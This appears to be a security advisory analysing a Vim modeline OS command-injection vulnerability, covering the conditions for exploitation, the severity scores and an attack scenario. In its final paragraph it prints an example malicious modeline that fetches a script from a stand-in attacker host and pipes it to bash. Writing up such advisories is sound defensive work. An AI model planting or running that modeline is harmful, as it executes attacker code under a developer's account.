Vim CVE-2026-44656

Three concurrent conditions are required. First, Vim's modeline feature must be enabled - this is the default in most distributions and is controlled by 'set modeline' in vimrc; sites that explicitly set 'nomodeline' are not affected. Second, the victim must open a file containing a malicious modeline that sets the 'path' option with backtick-enclosed shell commands - meaning the attacker must deliver a specially crafted file to the victim's local filesystem. Third, the victim must actively trigger ':find' tab completion after opening the file (e.g., type ':find ' and press Tab) - this is a deliberate interactive action beyond simply viewing the file, which is the primary limiting factor distinguishing this from a pure open-to-own exploit. Additionally, exploitation is restricted to Unix/Linux platforms where shell backtick expansion is available; the upstream test suite explicitly guards tests with 'CheckUnix', so Windows Vim users are not affected by this specific code path.

The CVSS 4.0 score of 4.6 with AV:L and UI:A accurately reflects a constrained attack scenario. EPSS at 0.04% (13th percentile) and SSVC 'Exploitation: none' both confirm no known active exploitation or weaponized code at time of analysis. Although CWE-78 (OS Command Injection) is a severe vulnerability class capable of full user-level code execution, the real-world impact is substantially limited by two required user actions: the victim must open the crafted file, and must then actively trigger ':find' tab completion - a non-default workflow. SSVC marks this 'Automatable: no', meaning mass scanning or wormable exploitation is not feasible. The technical impact is rated 'partial' by SSVC, consistent with execution confined to the victim user's privilege level with no scope change. For most organizations, this is a genuine but low-urgency patching item; it is elevated only in developer-heavy environments where untrusted files are routinely opened in Vim with modelines enabled.

An attacker distributes a malicious source file (e.g., a '.c' or '.py' file submitted via a pull request or sent via email) containing a modeline such as '// vim: set path+=curl attacker.com/payload.sh|bash :'. When a developer opens the file in Vim with modelines enabled and presses Tab to trigger ':find' completion, Vim expands the backtick expression and executes the embedded shell command under the developer's account. No confirmed public proof-of-concept exists at time of analysis, but the attack is straightforward to reproduce from the public commit diff and security advisory.